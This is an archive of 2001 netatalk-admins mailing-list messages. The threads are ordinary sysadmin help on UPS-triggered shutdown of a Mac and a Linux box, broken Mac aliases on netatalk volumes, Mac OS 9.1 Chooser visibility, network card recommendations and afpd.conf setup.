Message-ID: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To:  <5441762.3199173827@newhector.csi.cam.ac.uk>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hello everyone,

Sorry for the cross-post, but I have an intriguing question.

Is there a way to have a Macintosh (6100 hooked to an APC-UPS and when
shutdown is initiated it will close filemaker with no arguments, as well as
run a shutdown script that will also power-down a linux box on the same
machine.  I wasn't sure if I could have it write a text file to Halt the
computer and upon UPS powerdown copy it to a Linux Netatalk mounted drive
and have the Linux box run a cron job every one minute that will cause it to
look for a particular file.  If present it will run a script, if not it will
not run that script.  I need to be able to power down both Macintosh and
Linux box from one or the other machines?


Thanks for any help.

Heath Henderson


From netatalk.administrators-errors@umich.edu  Fri May 18 08:16:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26304
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 08:16:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA10484
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 08:16:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA10474
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 08:16:29 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA10460
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 08:16:28 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f4ICGQg12928;
	Fri, 18 May 2001 08:16:26 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210104b72abfc3a0a4@[216.155.36.73]>
In-Reply-To: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
References: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
Date: Fri, 18 May 2001 08:16:27 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Macintosh/Linux UPS question
Cc: heath@davesworld.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Heath,

	Heck, I don't mind cross-posting as long as there's an 
interesting problem to solve.

	What I might do is have the linux box run a cron job every 
minute (or every 5, whatever).  This cron job doesn't check for a 
file.  It pings for the Macintosh.  If the Macintosh isn't there, 
record that fact.  Then ping again in another 5 minutes.  If it still 
isn't there, then shut everything down.

	Conversely, can you have the Macintosh send a signal to the 
Linux box?  What if the Macintosh sent a "death notice" to the linux 
box via e-mail when it was instructed to shut down?

	Alias the e-mail to a shell script on your Linux machine. 
Here's the problem though:  With a little tweaking, someone could 
shut down your Linux system if they sent mail to that specific 
shutdown address.   So you might want the script to check for a code 
that is sent in the death e-mail.

	I actually wrote something like this once back when one of 
our NT machines had a UPS that did automatic shutdown, and one of our 
Linux machines had a "My First UPS" that probably came from Fisher 
Price.  Since we couldn't do automatic shutdown on the Linux machine, 
we would periodically check to see if the NT machine had fallen off 
the network.  If it did, the Linux machine sent a a page to me, and 
shut itself down.

	However, one day I shut the NT machine down for periodic 
maintenance and forgot to disable the Linux server's checking. 
Needless to say the Linux machine obediently shut itself down in the 
middle of the workday.  Sometimes, when I close my eyes, I still hear 
the screams... :-)

	So in a nutshell, build in a safety - even if it's just a 
note on the server - that if you shut the machine down for 
maintenance, be sure to disable the checking script on the Linux 
machine.

	Let me know how it turns out, or if you need help developing 
the script.

	Ryan


>Hello everyone,
>
>Sorry for the cross-post, but I have an intriguing question.
>
>Is there a way to have a Macintosh (6100 hooked to an APC-UPS and when
>shutdown is initiated it will close filemaker with no arguments, as well as
>run a shutdown script that will also power-down a linux box on the same
>machine.  I wasn't sure if I could have it write a text file to Halt the
>computer and upon UPS powerdown copy it to a Linux Netatalk mounted drive
>and have the Linux box run a cron job every one minute that will cause it to
>look for a particular file.  If present it will run a script, if not it will
>not run that script.  I need to be able to power down both Macintosh and
>Linux box from one or the other machines?
>
>
>Thanks for any help.
>
>Heath Henderson

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
If all you have is a hammer, everything looks like a nail.

From netatalk.administrators-errors@umich.edu  Fri May 18 08:59:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA28037
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 08:59:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05820
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 08:58:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05812
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 08:58:58 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA05774
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 08:58:56 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000073614; Fri, 18 May 2001 14:54:48 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a04310104b729b861ea96@[192.168.1.201]>
In-Reply-To: <1ethspa.1w4tken74rutcM@cx448422-b.wwck1.ri.home.com>
References: <1ethspa.1w4tken74rutcM@cx448422-b.wwck1.ri.home.com>
Date: Fri, 18 May 2001 14:58:46 +0200
To: leeb@digitalgraphics.net (Lee Blevins)
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: alias losing it's link
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 8:54 Uhr -0400 16.05.2001, Lee Blevins wrote:
>I make an alias of a directory (folder) on a netatalk vol. and after
>some time I double click it and it opens another folder.
>
>Any ideas what's happening here?

Directories are identified differently in MacOS and Unix filesystems... so netatalk creates 'fake-on-the-fly' MacOS-Directory-IDs at each session for each user (though I didn't track the way this really happens, nor am I an ext2-expert - but the problem will rise sooner or later, if you add/remove dirs).

A Mac-alias is a file that stores an alis record, which contains this among other info:

- directory ID
- absolute directory path
- relative directory path (I think I've seen that when aliasing on the same volume)
- server [dns] name, and login user name.
- kind of original, and info about what You can drop on it.

when the mac does not find the directory ID, it uses the path.
Unfortunately, netatalk mostly has a folder with the ID specified in the alias, but after a logout/login it can be bound to a new directory... and the mac doesn't use the path stored in the alias because it actually finds a directory with that ID.

Anyway, there's no solution to it until some disk-database solution is developed into netatalk, where these ids are storedand available thruout sessions (unlikely to happen annytime soon?) .

I've been wondering, sometimes, what would happen if netatalk didn't reply with DIDs at all (after all)... but I guess the MacOS (classic) would explode, or so, while OSX might find something new to be terribly afraid of ;-).

If you think that's a viable workaround for Your environment, You can use the applescript I posted lately  (in case you just subscribed to the list)
http://lorenzo.yellowspace.net/scriptfarm/download/NetAliasApplet.sit


:-)

Lorenzo






From netatalk.administrators-errors@umich.edu  Fri May 18 10:16:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00284
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 10:16:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA09198
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 10:16:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA09175
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 10:16:15 -0400 (EDT)
Received: from einwahl-2.webman-ag.de (h-213.61.59.2.host.de.colt.net [213.61.59.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA09132
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 10:16:13 -0400 (EDT)
Received: from webman.de ([10.4.1.199])
	by einwahl-2.webman-ag.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id f4IEGH902102
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 16:16:18 +0200
X-Authentication-Warning: einwahl-2.webman-ag.de: Host [10.4.1.199] claimed to be webman.de
Message-ID: <3B052F45.E267F42@webman.de>
Date: Fri, 18 May 2001 16:18:46 +0200
From: Thanh-Cong Ho <ho@webman.de>
Organization: Webman AG
X-Mailer: Mozilla 4.7 [de] (WinNT; I)
X-Accept-Language: de
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Macintosh 9.1 und Linux netatalk question
References: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello everyone,

Sorry for the post, but I have a question.

Under OS 9.0, my Mac worked very well with Netatalk Linux SuSE 7.0
After update on 9.1, I have no contact to the Linux server,
but it works OK with Windows NT Server. In the netatalk- network
I can't see my Linux server (IP OK, apple talk activ !!!)

Thanks for any help.

Cong


From netatalk.administrators-errors@umich.edu  Fri May 18 10:50:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01406
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 10:50:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06694
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 10:50:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06674
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 10:50:09 -0400 (EDT)
Received: from mail.intekom.com (mid-mail-01.intekom.com [196.25.69.44])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA06568
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 10:50:06 -0400 (EDT)
Received: (qmail 20961 invoked from network); 18 May 2001 14:50:02 -0000
Received: from ndf53-06-p196.gt.saix.net (HELO navajo.local) ([155.239.72.196]) (envelope-sender <anton.coetzee@vip.co.za>)
          by intekom.com (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 18 May 2001 14:50:02 -0000
X-vSMTP: intekom.com
Received: from apache (apache [192.168.1.2])
	by navajo.local (8.9.3/8.9.3) with SMTP id QAA08891
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 16:39:53 +0200
Message-ID: <000b01c0dfa8$8beae220$0201a8c0@local>
From: "Anton Coetzee" <anton.coetzee@vip.co.za>
To: <netatalk-admins@umich.edu>
Subject: Probably FAQ - which network card?
Date: Fri, 18 May 2001 16:39:39 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

Hi

I'm currently running a file server box with Samba & Netatalk. Linux kernel
2.2.16, and a 3c905 10/100 NIC.
There appear to be some fairly nasty issues related to this network card.
Can anyone recommend a decent 100bT NIC which is well supported under Linux
(2.2.x) and works properly with Netatalk?
Suitable cards I have heard about are the SMC Etherpower series, and the
Intel Etherexpress.
Any comments on these?

Thanks

Anton Coetzee


From netatalk.administrators-errors@umich.edu  Fri May 18 10:50:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01426
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 10:50:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07290
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 10:50:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07266
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 10:50:31 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA07211
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 10:50:29 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA11223;
	Fri, 18 May 2001 16:57:51 +0200
Message-ID: <3B053713.882577EA@i-clue.de>
Date: Fri, 18 May 2001 16:52:03 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Thanh-Cong Ho <ho@webman.de>
CC: netatalk-admins@umich.edu
Subject: Re: Macintosh 9.1 und Linux netatalk question
References: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net> <3B052F45.E267F42@webman.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Thanh-Cong Ho schrieb:
> 
> Under OS 9.0, my Mac worked very well with Netatalk Linux SuSE 7.0
> After update on 9.1, I have no contact to the Linux server,
> but it works OK with Windows NT Server. In the netatalk- network
> I can't see my Linux server (IP OK, apple talk activ !!!)

in the chooser, hit the Connect to server button, enter the IP address
of your netatlak server. Probably the connect will succeed. Something
has changed in 9.1 which prevents netatalk servers from showing up in
the chooser.

HTH
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Fri May 18 11:06:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01832
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 11:06:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24433
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 11:06:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24417
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 11:06:12 -0400 (EDT)
Received: from dns2.northox.ac.uk (dns2.northox.ac.uk [195.194.168.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA24378
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 11:06:11 -0400 (EDT)
Received: from mail.northox.ac.uk (mail.northox.ac.uk [195.194.168.139])
	by dns2.northox.ac.uk (Postfix) with ESMTP
	id D733A557; Fri, 18 May 2001 15:06:14 +0000 (GMT)
Received: from BANBURY1/SpoolDir by mail.northox.ac.uk (Mercury 1.48);
    18 May 01 16:01:55 +0000
Received: from SpoolDir by BANBURY1 (Mercury 1.48); 18 May 01 16:01:52 +0000
Received: from [192.168.3.51] (192.168.3.51) by mail.northox.ac.uk (Mercury 1.48) with ESMTP;
    18 May 01 16:01:49 +0000
Mime-Version: 1.0
X-Sender: tallett@192.168.1.2
Message-Id: <p05010401b72ae9d6df21@[192.168.3.51]>
In-Reply-To: <3B053713.882577EA@i-clue.de>
References: <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
 <3B052F45.E267F42@webman.de> <3B053713.882577EA@i-clue.de>
Date: Fri, 18 May 2001 16:05:59 +0100
To: so@server.i-clue.de, Thanh-Cong Ho <ho@webman.de>
From: Trevor Allett <tallett@northox.ac.uk>
Subject: Re: Macintosh 9.1 und Linux netatalk question
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 16:52 +0200 2001-05-18, Christoph Sold wrote:
>Thanh-Cong Ho schrieb:
>>
>>  Under OS 9.0, my Mac worked very well with Netatalk Linux SuSE 7.0
>>  After update on 9.1, I have no contact to the Linux server,
>>  but it works OK with Windows NT Server. In the netatalk- network
>>  I can't see my Linux server (IP OK, apple talk activ !!!)
>
>in the chooser, hit the Connect to server button, enter the IP address
>of your netatlak server. Probably the connect will succeed. Something
>has changed in 9.1 which prevents netatalk servers from showing up in
>the chooser.
>
>HTH
>-Christoph Sold

i have  one machine that has been upgraded from 9.0.4 -> 9.1 and i 
can still see all of my linux servers as before the upgrade, suse 6.3 
with netatalk 1.4b2+asun 2.1.3-30 also suse 6.4 and 7.0. . .
-- 
--
==============================
Trevor Allett
IT Support unit
North Oxfordshire College,
Banbury,
Oxfordshire.	United Kingdom.
=======================================
============================================
This message may contain information which is legally privileged
and/or confidential. If you are not the intended recipient, you
are hereby notified that any unauthorised disclosure, copying,
distribution or use of this information is strictly prohibited.
Such notification notwithstanding, any comments or opinions
expressed are those of the originator, not of
North Oxfordshire College and School of Art,
unless otherwise explicitly stated.
=================================================================

From netatalk.administrators-errors@umich.edu  Fri May 18 11:15:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02268
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 11:15:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 11:15:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05079
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 11:15:40 -0400 (EDT)
Received: from leebert.gsfc.nasa.gov (leebert.gsfc.nasa.gov [128.183.33.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA05064
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 11:15:39 -0400 (EDT)
Received: (from lsherida@localhost)
	by leebert.gsfc.nasa.gov (SGI-8.9.3/8.9.3) id LAA01290
	for netatalk-admins@umich.edu; Fri, 18 May 2001 11:13:04 -0700 (EDT)
Date: Fri, 18 May 2001 11:13:03 -0700
From: Lee Sheridan <lsherida@leebert.gsfc.nasa.gov>
To: netatalk-admins@umich.edu
Subject: Re: Probably FAQ - which network card?
Message-ID: <20010518111303.B1013@leebert.gsfc.nasa.gov>
References: <000b01c0dfa8$8beae220$0201a8c0@local>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000b01c0dfa8$8beae220$0201a8c0@local>; from anton.coetzee@vip.co.za on Fri, May 18, 2001 at 04:39:39PM +0200

On Fri, May 18, 2001 at 04:39:39PM +0200, Anton Coetzee wrote:

> Suitable cards I have heard about are the SMC Etherpower series, and the
> Intel Etherexpress.

The Intel EtherExpress Pro 10/100 has worked marvelously for me.

-- 
Lee Sheridan                            301.286.5898 voice
NASA / Goddard Space Flight Center      lsherida@nccs.gsfc.nasa.gov
Computer Sciences Corporation           Building 28, Room S241
Code 931
 
"Some people without brains do an awful lot of talking, don't they?"
                                           -- Scarecrow, The Wizard of Oz

From netatalk.administrators-errors@umich.edu  Fri May 18 11:40:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02951
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 11:40:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02690
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 11:40:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02655
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 11:40:10 -0400 (EDT)
Received: from ziggurat.baywave.com (nic-130-c238-144.new.rr.com [24.130.238.144])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA02601
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 11:40:08 -0400 (EDT)
Received: (qmail 8251 invoked from network); 18 May 2001 15:38:37 -0000
Received: from unknown (HELO baywave.baywave.com) (192.168.0.2)
  by nic-130-c238-144.new.rr.com with SMTP; 18 May 2001 15:38:37 -0000
Message-Id: <5.0.2.1.0.20010518103206.0265d090@ziggurat.baywave.com>
X-Sender: hogan@ziggurat.baywave.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 18 May 2001 10:37:28 -0500
To: so@server.i-clue.de
From: John Hogan <john@baywave.com>
Subject: Re: Macintosh 9.1 und Linux netatalk question
Cc: netatalk-admins@umich.edu
In-Reply-To: <p05010401b72ae9d6df21@[192.168.3.51]>
References: <3B053713.882577EA@i-clue.de>
 <NDBBLIPGCLLELIOOICKOMEJBDNAA.heath@davesworld.net>
 <3B052F45.E267F42@webman.de>
 <3B053713.882577EA@i-clue.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

why do my brain farts smell so bad? i have a good connection from an os 9.1 
mac powerbook to a suse linux fileserver on an internal (192.168.0.* IP)... 
i cannot configure the server to:

1) authenticate users... unlimited access for all to '/tmp' of all places

2) put user into /home/user on connection

please give an example of how to configure a 'one user - home directory' 
configuration directive for 'afpd.conf'... i would appreciate it very much

- hogan

At 10:05 AM 5/18/2001, Trevor Allett wrote:
>At 16:52 +0200 2001-05-18, Christoph Sold wrote:
>>Thanh-Cong Ho schrieb:
>>>
>>>  Under OS 9.0, my Mac worked very well with Netatalk Linux SuSE 7.0
>>>  After update on 9.1, I have no contact to the Linux server,
>>>  but it works OK with Windows NT Server. In the netatalk- network
>>>  I can't see my Linux server (IP OK, apple talk activ !!!)
>>
>>in the chooser, hit the Connect to server button, enter the IP address
>>of your netatlak server. Probably the connect will succeed. Something
>>has changed in 9.1 which prevents netatalk servers from showing up in
>>the chooser.
>>
>>HTH
>>-Christoph Sold
>
>i have  one machine that has been upgraded from 9.0.4 -> 9.1 and i can 
>still see all of my linux servers as before the upgrade, suse 6.3 with 
>netatalk 1.4b2+asun 2.1.3-30 also suse 6.4 and 7.0. . .
>--
>--
>==============================
>Trevor Allett
>IT Support unit
>North Oxfordshire College,
>Banbury,
>Oxfordshire.    United Kingdom.
>=======================================
>============================================
>This message may contain information which is legally privileged
>and/or confidential. If you are not the intended recipient, you
>are hereby notified that any unauthorised disclosure, copying,
>distribution or use of this information is strictly prohibited.
>Such notification notwithstanding, any comments or opinions
>expressed are those of the originator, not of
>North Oxfordshire College and School of Art,
>unless otherwise explicitly stated.
>=================================================================


From netatalk.administrators-errors@umich.edu  Fri May 18 12:00:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03976
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 12:00:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01975
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 12:00:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01953
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 12:00:49 -0400 (EDT)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA01921
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 12:00:48 -0400 (EDT)
Received: (qmail 2983 invoked by uid 500); 18 May 2001 16:00:44 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 18 May 2001 16:00:44 -0000
Date: Fri, 18 May 2001 11:00:44 -0500 (CDT)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Christoph Sold <so@server.i-clue.de>
cc: Thanh-Cong Ho <ho@webman.de>, <netatalk-admins@umich.edu>
Subject: Re: Macintosh 9.1 und Linux netatalk question
In-Reply-To: <3B053713.882577EA@i-clue.de>
Message-ID: <Pine.LNX.4.30.0105181100090.2977-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I'm running 9.1 clients and all my Netatalk boxes show up in the Chooser.

-Dan

On Fri, 18 May 2001, Christoph Sold wrote:

>
>
> Thanh-Cong Ho schrieb:
> >
> > Under OS 9.0, my Mac worked very well with Netatalk Linux SuSE 7.0
> > After update on 9.1, I have no contact to the Linux server,
> > but it works OK with Windows NT Server. In the netatalk- network
> > I can't see my Linux server (IP OK, apple talk activ !!!)
>
> in the chooser, hit the Connect to server button, enter the IP address
> of your netatlak server. Probably the connect will succeed. Something
> has changed in 9.1 which prevents netatalk servers from showing up in
> the chooser.
>
> HTH
> -Christoph Sold
>
>

-- 



From netatalk.administrators-errors@umich.edu  Fri May 18 12:09:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA04516
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 12:09:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA03309
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 12:09:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA03288
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 12:09:55 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA03150
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 12:09:49 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA06166;
	Fri, 18 May 2001 18:03:54 +0200
Message-ID: <3B0547ED.EF8D8D87@euc.de>
Date: Fri, 18 May 2001 18:03:53 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Anton Coetzee <anton.coetzee@vip.co.za>
CC: netatalk-admins@umich.edu
Subject: Re: Probably FAQ - which network card?
References: <000b01c0dfa8$8beae220$0201a8c0@local>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA04516

Hmm,

I can recommend the cards from Intel (the 10/100 and the the Gigabit
Ethernet Cards) and from SMC. The Netgear Cards show up sometimes some
misbehaviour (hangig up) - any realtek is working but the performance is lousy

Anton Coetzee wrote:
> 
> Hi
> 
> I'm currently running a file server box with Samba & Netatalk. Linux kernel
> 2.2.16, and a 3c905 10/100 NIC.
> There appear to be some fairly nasty issues related to this network card.
> Can anyone recommend a decent 100bT NIC which is well supported under Linux
> (2.2.x) and works properly with Netatalk?
> Suitable cards I have heard about are the SMC Etherpower series, and the
> Intel Etherexpress.
> Any comments on these?
> 
> Thanks
> 
> Anton Coetzee

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH

mconin@euc.de                    D 50676 Koeln
